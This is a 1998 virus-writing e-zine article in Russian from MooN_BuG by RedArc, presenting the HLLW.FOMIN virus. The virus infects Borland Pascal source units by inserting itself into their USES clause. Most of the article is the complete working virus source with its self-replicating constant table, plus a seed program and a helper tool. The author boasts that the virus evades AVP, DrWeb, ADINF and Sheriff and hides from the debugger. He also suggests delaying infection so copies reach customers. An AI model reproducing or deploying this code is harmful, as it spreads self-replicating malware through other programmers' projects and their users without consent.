[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 9, Dec 1998 file 003
Вирус HLLW.FOMIN
посвящается Юрию Фомину
by RedArc
Ну, вот, решился я таки наваять свой вариант FullMorph-вируса. Идея его
создания уже давно не покидает мою голову. А здесь вот появилось сразу
несколько подстегивающих к реализации условий:
- Спор с Юрием Фоминым о том, что его программно-аппаратная защита
Sheriff не есть верх совершенства. Вообщем-то я не первый, кто покушается на
эту защиту, но все попытки были связаны на прямую с хаком. Я же вирмейкер, а
не хакер, посему захотелось наваять именно не самоходный хак, а вирус,
которому не мешает распространяться Sheriff.
- Та же ситуация с ревизорами и инспекторами диска ADINF и AVPI. Народ
уже несколько раз порывался обойти их защиту, но каждый раз занимался хаком
или прибиванием вирбаз, а не вирмейкингом. Мне же опять таки хотелось обойтись
без всяких там премудростей.
- Кто-то кинул в SU.CM вирус, инфицирующий паскалевские TPU-файлы.
Собственно идея не нова, ей еще когда-то занимался Reminder. Но меня
натолкнуло на мысль то, что при старте паскаль-программы сначала управление
передается на процедуры инициализации модулей. Дык все оказывается очень
просто. Достаточно к подключаемому юниту вставить в раздел USES имя
вируса-юнита, а в вирусе-юните сделать процедуру инициализации в виде вызова
подпрограммы размножения и... вирус получит управление с минимумом модификации
инфицируемого кода помимо желания программиста.
Идея такая. Вирус оформляется в виде паскаль-модуля. В разделе
инициализации вызывается подпрограмма поиска других модулей и их
инфицирование. Инфицирование других модулей заключается в дописывании в раздел
подключений USES имени модуля-вируса.
Тонкие моменты. Подпрограмма инициализации модуля-вируса получает
управление только из EXE-файла, следовательно, где то нужно хранить исходный
текст вируса-модуля. Я оформил исходный текст в виде массива переменных со
стартовыми значениями и подключаю его как обычный кусок через директиву
INCLUDE. Этот INCLUDE есть сам модуль, но опять-таки трудности - нельзя
использовать апостроф внутри константы, так как Паскаль воспринимает его как
ограничитель строки. Я из этой ситуации выпутался. Чтобы после модификации
модуля заново ручками не перебивать константы - слепил приблуду JFPREP.EXE,
которая большую часть работы берет на себя. Остается лишь перенести три строки
из конца файла в начало и заменить последнюю запятую на круглую скобочку с
двоеточием. Да, в вирус введен поиск по всем каталогам текущего диска. На это
как ни крути уходит слишком много времени и присутствие вируса становится
сильно заметным. Если вы таки будете использовать эту технологию, то вам
придется либо сильно урезать область поиска, либо производить поиск жертв
скажем по пятницам, когда копии инфицированной программы уже разойдутся от
программиста к заказчикам. А может быть вы придумаете что-то еще? ;-)
Перед записью в раздел USES (если таковой раздел имеется) модуля-жертвы
вирус создает копию своего исходного кода из массива констант и записывает в
файл с расширением INC копию файла INCLUDE. Поиск производится по строке
IMPLEMENTATION, без которой модуль не модуль.
Вы можете свободно переименовывать константы, создавать файлы вируса со
случайными именами, вставлять имя модуля-вируса в случайное место в строке
USES, добавить видеоэффектов и других вкусностей по своему усмотрению. Я же
привожу здесь лишь технологию в чистом виде.
Почему антивирусы не видят вируса? А очень просто - вирус инфицирует те
объекты, которые антивирусы не контролируют. Они, конечно, могут включить
детектирование конкретного вируса, но для другого придется делать то же самое.
Про эвристические анализаторы я вообще не говорю. Что же касается Sheriff'а,
то он по определению не может защищать от модифицирования то, что
предполагается законно модифицировать чуть ли не каждый день законным
владельцем компьютера. Ну, по правде говоря, Юрий Фомин может сделать некие
фичи в своем комплексе, но полностью защитить комп от вирусов такого типа он
будет просто не в состоянии. Что же касается вирусов на ASM для пробивания
защиты Sheriff, то это скорее всего будет в следующем номере и с рецензией
автора, как мы собственно и договаривались.
Вкусности. Ну первая и наверное самая большая вкусность этого вируса
заключается в том, что легче будет прибить инфицированный EXE-файл, чем его
вылечить. То есть своего рода технология неизлечимости, созданная на языке
высокого уровня! Вторая вкусность вытекает из того, что программист заметит
неполадки в своей программе и начнет ее трассировать с целью обнаружения
чужеродного кода. Дык вирус проверяет на предмет установления прагмы отладчика
и не подключается к проекту в случае ее активности. То есть под отладчиком
вирус не виден. Это своего рода технология стелсирования нерезидентного
вируса, написанного на языке высокого уровня.
Этот вирус не является не то что FullMorph, он даже не является
полиморфным. Это всего лишь Stealth-вирус, прозрачный для существующих
антивирусных систем защиты. Я на нем отлаживал технологию инфицирования
исходных текстов программ для настоящего FullMorph-вируса, который вы будете
иметь счастье лицезреть в следующей статье. Там я буду менее болтлив, так что
с представленными технологиями все же лучше разобраться здесь.
Ну да ладно, я уже текста в статье написал больше, чем занимает исходник.
Думаю, что вы разберетесь без труда. А я пока лучше займусь созданием
FullMorph для следующей статьи...
=== Cut === Основное тело вируса JFDOS.PAS
{
Вирус в виде паскаль-модуля
Copyright (c) 1998 RedArc
Объекты поражения: Паскаль-модули // Borland Pascal 7.0+
Деструкция: Нет
Эффекты: Нет
Особенности: 1. Принципиально не детектируется ни одной
антивирусной защитой, как то AVP, DrWeb,
ADINF, AVPI, Sheriff, AVPTsr, ...
2. Стелсируется на уровне прагм отладчика
3. Инфицирует исходные тексты модулей будучи
активизирован из EXE-программы
4. Производит поиск и инфицирование всех
паскаль-модулей на текущем диске
Комментарий: Посвящается Юрию Фомину...
}
UNIT JFDOS;
{$I-}
INTERFACE
USES DOS;
TYPE
Fomin_PList = ^Fomin_TList;
Fomin_TList = record
Name : String[12];
Next : Fomin_Plist;
end;
{$I jfdos.inc}
VAR
Fomin_SR : SearchRec;
Fomin_S : String;
PROCEDURE Fomin_Manager;
IMPLEMENTATION
PROCEDURE Fomin_ChDrive (Drive : Byte);
BEGIN
asm
MOV AH, 0Eh
MOV DL, Drive;
INT 21h
end;
END;
FUNCTION Fomin_UpStr (S : String) : String;
VAR
S1 : String;
i : Integer;
BEGIN
S1 := S;
for i := 1 to Length (S1) do
S1 [i] := UpCase (S1 [i]);
Fomin_UpStr := S1;
END;
procedure Fomin_InfectFile (S : String);
var
t1, t2 : Text;
S1 : String;
I, J : Integer;
begin
Assign (t1, 'jfdos.pas');
ReWrite (t1);
if IOResult <> 0 then Exit;
for I := 1 to Fomin_MaxConst do begin
S1 := Fomin_Const [I];
while Pos ('#39', S1) > 0 do begin
J := Pos ('#39', S1);
Delete (S1, J, 3);
Insert (#39, S1, J);
end;
while Pos ('#38', S1) > 0 do begin
J := Pos ('#38', S1);
Delete (S1, J, 3);
Insert ('#39', S1, J);
end;
WriteLn (t1, S1);
end;
Close (t1);
Assign (t1, 'jfdos.inc');
ReWrite (t1);
if IOResult <> 0 then Exit;
WriteLn (t1, 'CONST');
WriteLn (t1, 'Fomin_MaxConst = ', Fomin_MaxConst, ';');
WriteLn (t1, 'Fomin_Const : Array [1..Fomin_MaxConst] of String [40] =');
WriteLn (t1, '(');
for I := 1 to Fomin_MaxConst-1 do
WriteLn (t1, #39, Fomin_Const [I], #39, ',');
WriteLn (t1, #39, Fomin_Const [Fomin_MaxConst], #39, ');');
Close (t1);
Assign (t1, S);
ReSet (t1);
if IOResult <> 0 then Exit;
Assign (t2, 'Scheriff.pas');
ReWrite (t2);
while not Eof (t1) do begin
ReadLn (t1, S1);
if Pos ('USES ', Fomin_UpStr (S1)) > 0 then
Insert ('{$IFNDEF D+} JFDOS, {$ENDIF D+}', S1, Pos ('USES ', Fomin_UpStr (S1)) + 5);
WriteLn (t2, S1);
end;
Close (t2);
Close (t1);
Erase (t1);
Rename (t2, S);
end;
procedure Fomin_DetectUnitFile (S : String);
var
t : Text;
Flag : Boolean;
S1 : String;
begin
Assign (t, S);
ReSet (t);
if IOResult <> 0 then Exit;
Flag := False;
while not Eof (t) do begin
ReadLn (t, S1);
if Fomin_UpStr (S1) = 'IMPLEMENTATION' then begin
Flag := True;
Break;
end;
end;
Close (t);
if not Flag then Exit;
Fomin_InfectFile (S);
end;
procedure Fomin_ScanDir(stdir:PathStr);
var
n,L : Fomin_PList;
m : PathStr;
St : string[79];
ch : char;
DIR : DirStr;
NAM : NameStr;
EXT : EXTSTR;
begin
FileMode := 0;
L := nil;
if stdir[Length(stdir)] <> '\' then
stdir:=stdir+'\';
m := stdir+'*.*';
FindFirst(m,AnyFile, Fomin_SR);
while dosError=0 do begin
if ((Fomin_SR.Attr and Directory) <> 0) and ((Fomin_SR.Name<>'.') and
(Fomin_SR.Name<>'..')) then begin
New(n);
N^.Next := L;
N^.Name := Fomin_SR.Name;
L := N;
end
else
if (Fomin_SR.Attr and VolumeID=0) and (Fomin_SR.Attr and Directory=0) then begin
Fomin_S := m;
Delete (Fomin_S, Length (m)-2, 3);
Fomin_S := Fomin_S + Fomin_SR.Name;
FSPLIT (Fomin_S, DIR, NAM, EXT);
IF (EXT = '.PAS') and (Fomin_SR.Attr and Hidden=0) THEN
Fomin_DetectUnitFile (Fomin_S);
end;
FindNext(Fomin_SR);
end;
while L<> nil do begin
m := Stdir+L^.Name;
ChDir(m);
if IOResult <> 0 then Exit;
n := L;
L := L^.next;
Dispose(n);
m := m+'\';
if IOResult = 0 then
Fomin_ScanDir(m);
m := stdir;
if m[length(m)-1] <> ':' then
m[0] := chr(length(stdir)-1);
ChDir(m);
end;
end;
PROCEDURE Fomin_Manager;
VAR
Home : PathStr;
S : String;
BEGIN
GetDir (0, Home);
if Home[Length(Home)] = '\' then
Delete (Home, Length(Home), 1);
S := Home [1] + ':';
Fomin_ChDrive (ORD(UpCase(S[1]))-65);
Fomin_ScanDir(S);
Fomin_ChDrive (ORD(UpCase(Home[1]))-65);
ChDir(Home);
END;
BEGIN
Fomin_Manager;
END.
=== Cut ===
=== Cut === Данные вируса JFDOS.INC
CONST
Fomin_MaxConst = 174;
Fomin_Const : Array [1..Fomin_MaxConst] of String [100] = (
'UNIT JFDOS;',
'{$I-}',
'INTERFACE',
'USES DOS;',
'TYPE',
' Fomin_PList = ^Fomin_TList;',
' Fomin_TList = record',
' Name : String[12];',
' Next : Fomin_Plist;',
' end;',
'{$I jfdos.inc}',
'VAR',
' Fomin_SR : SearchRec;',
' Fomin_S : String;',
'PROCEDURE Fomin_Manager;',
'IMPLEMENTATION',
'PROCEDURE Fomin_ChDrive (Drive : Byte);',
'BEGIN',
' asm',
' MOV AH, 0Eh',
' MOV DL, Drive;',
' INT 21h',
' end;',
'END;',
'FUNCTION Fomin_UpStr (S : String) : String;',
'VAR',
' S1 : String;',
' i : Integer;',
'BEGIN',
' S1 := S;',
' for i := 1 to Length (S1) do',
' S1 [i] := UpCase (S1 [i]);',
' Fomin_UpStr := S1;',
'END;',
'procedure Fomin_InfectFile (S : String);',
'var',
' t1, t2 : Text;',
' S1 : String;',
' I, J : Integer;',
'begin',
' Assign (t1, #39jfdos.pas#39);',
' ReWrite (t1);',
' if IOResult <> 0 then Exit;',
' for I := 1 to Fomin_MaxConst do begin',
' S1 := Fomin_Const [I];',
' while Pos (#39#38#39, S1) > 0 do begin',
' J := Pos (#39#38#39, S1);',
' Delete (S1, J, 3);',
' Insert (#38, S1, J);',
' end;',
' while Pos (#39#38#39, S1) > 0 do begin',
' J := Pos (#39#38#39, S1);',
' Delete (S1, J, 3);',
' Insert (#39#38#39, S1, J);',
' end;',
' WriteLn (t1, S1);',
' end;',
' Close (t1);',
' Assign (t1, #39jfdos.inc#39);',
' ReWrite (t1);',
' if IOResult <> 0 then Exit;',
' WriteLn (t1, #39CONST#39);',
' WriteLn (t1, #39Fomin_MaxConst = #39, Fomin_MaxConst);',
' WriteLn (t1, #39Fomin_Const : Array [1..Fomin_MaxConst] of String [40] =#39);',
' WriteLn (t1, #39(#39);',
' for I := 1 to Fomin_MaxConst-1 do',
' WriteLn (t1, #38, Fomin_Const [I], #38, #39,#39);',
' WriteLn (t1, #38, Fomin_Const [Fomin_MaxConst], #38, #39);#39);',
' Close (t1);',
' Assign (t1, S);',
' ReSet (t1);',
' if IOResult <> 0 then Exit;',
' Assign (t2, #39Scheriff.pas#39);',
' ReWrite (t2);',
' while not Eof (t1) do begin',
' ReadLn (t1, S1);',
' if Pos (#39USES #39, Fomin_UpStr (S1)) > 0 then',
' Insert (#39{$IFNDEF D+} JFDOS, {$ENDIF D+}#39, S1, Pos (#39USES #39, Fomin_UpStr (S1)) + 5);',
' WriteLn (t2, S1);',
' end;',
' Close (t2);',
' Close (t1);',
' Erase (t1);',
' Rename (t2, S);',
'end;',
'procedure Fomin_DetectUnitFile (S : String);',
'var',
' t : Text;',
' Flag : Boolean;',
' S1 : String;',
'begin',
' Assign (t, S);',
' ReSet (t);',
' if IOResult <> 0 then Exit;',
' Flag := False;',
' while not Eof (t) do begin',
' ReadLn (t, S1);',
' if Fomin_UpStr (S1) = #39IMPLEMENTATION#39 then begin',
' Flag := True;',
' Break;',
' end;',
' end;',
' Close (t);',
' if not Flag then Exit;',
' Fomin_InfectFile (S);',
'end;',
'procedure Fomin_ScanDir(stdir:PathStr);',
' var',
' n,L : Fomin_PList;',
' m : PathStr;',
' St : string[79];',
' ch : char;',
' DIR : DirStr;',
' NAM : NameStr;',
' EXT : EXTSTR;',
'begin',
' FileMode := 0;',
' L := nil;',
' if stdir[Length(stdir)] <> #39\#39 then',
' stdir:=stdir+#39\#39;',
' m := stdir+#39*.*#39;',
' FindFirst(m,AnyFile, Fomin_SR);',
' while dosError=0 do begin',
' if ((Fomin_SR.Attr and Directory) <> 0) and ((Fomin_SR.Name<>#39.#39) and',
' (Fomin_SR.Name<>#39..#39)) then begin',
' New(n);',
' N^.Next := L;',
' N^.Name := Fomin_SR.Name;',
' L := N;',
' end',
' else',
' if (Fomin_SR.Attr and VolumeID=0) and (Fomin_SR.Attr and Directory=0) then begin',
' Fomin_S := m;',
' Delete (Fomin_S, Length (m)-2, 3);',
' Fomin_S := Fomin_S + Fomin_SR.Name;',
' FSPLIT (Fomin_S, DIR, NAM, EXT);',
' IF (EXT = #39.PAS#39) and (Fomin_SR.Attr and Hidden=0) THEN',
' Fomin_DetectUnitFile (Fomin_S);',
' end;',
' FindNext(Fomin_SR);',
' end;',
' while L<> nil do begin',
' m := Stdir+L^.Name;',
' ChDir(m);',
' if IOResult <> 0 then Exit;',
' n := L;',
' L := L^.next;',
' Dispose(n);',
' m := m+#39\#39;',
' if IOResult = 0 then',
' Fomin_ScanDir(m);',
' m := stdir;',
' if m[length(m)-1] <> #39:#39 then',
' m[0] := chr(length(stdir)-1);',
' ChDir(m);',
' end;',
'end;',
'PROCEDURE Fomin_Manager;',
'VAR',
' Home : PathStr;',
' S : String;',
'BEGIN',
' GetDir (0, Home);',
' if Home[Length(Home)] = #39\#39 then',
' Delete (Home, Length(Home), 1);',
' S := Home [1] + #39:#39;',
' Fomin_ChDrive (ORD(UpCase(S[1]))-65);',
' Fomin_ScanDir(S);',
' Fomin_ChDrive (ORD(UpCase(Home[1]))-65);',
' ChDir(Home);',
'END;',
'BEGIN',
' Fomin_Manager;',
'END.');
=== Cut ===
=== Cut === Файл-дрозофила для начального распространения FOMIN.PAS
{
Программа-дрозофила,
демонстрирующая эффект размножения вируса
}
PROGRAM Fomin;
USES JFDOS;
BEGIN
WriteLn ('Virus was Started')
END.
=== Cut ===
=== Cut === Утилитка для подготовки данных JFPREP.PAS
{
Подготовка файла JFDOS.INC
После обработки все равно нужно файл немного поправить ручками
}
PROGRAM JFPREP;
VAR
T1, T2 : Text;
S : String;
I, J : Integer;
BEGIN
Assign (T1, 'JFDOS.INC');
ReSet (T1);
IF IORESULT <> 0 THEN EXIT;
Assign (T2, 'JFDOS.TMP');
ReWrite (T2);
I := 0;
while not eof (t1) do begin
ReadLn (t1, S);
if S <> '' then begin
Inc (I);
while Pos ('#39', S) > 0 do begin
J := Pos ('#39', S);
Delete (S, J, 3);
Insert ('#38', S, J);
end;
while Pos (#39, S) > 0 do begin
J := Pos (#39, S);
Delete (S, J, 1);
Insert ('#39', S, J);
end;
S := #39 + S + #39 + ',';
end;
WriteLn (T2, S);
end;
WriteLn (t2, '');
WriteLn (t2, 'CONST');
WriteLn (t2, 'Fomin_MaxConst = ', I, ';');
WriteLn (t2, 'Fomin_Const : Array [1..Fomin_MaxConst] of String [100] = (');
WriteLn (t2, '');
Close (t2);
Close (t1);
Erase (t1);
Rename (t2, 'JFDOS.INC');
END.
=== Cut ===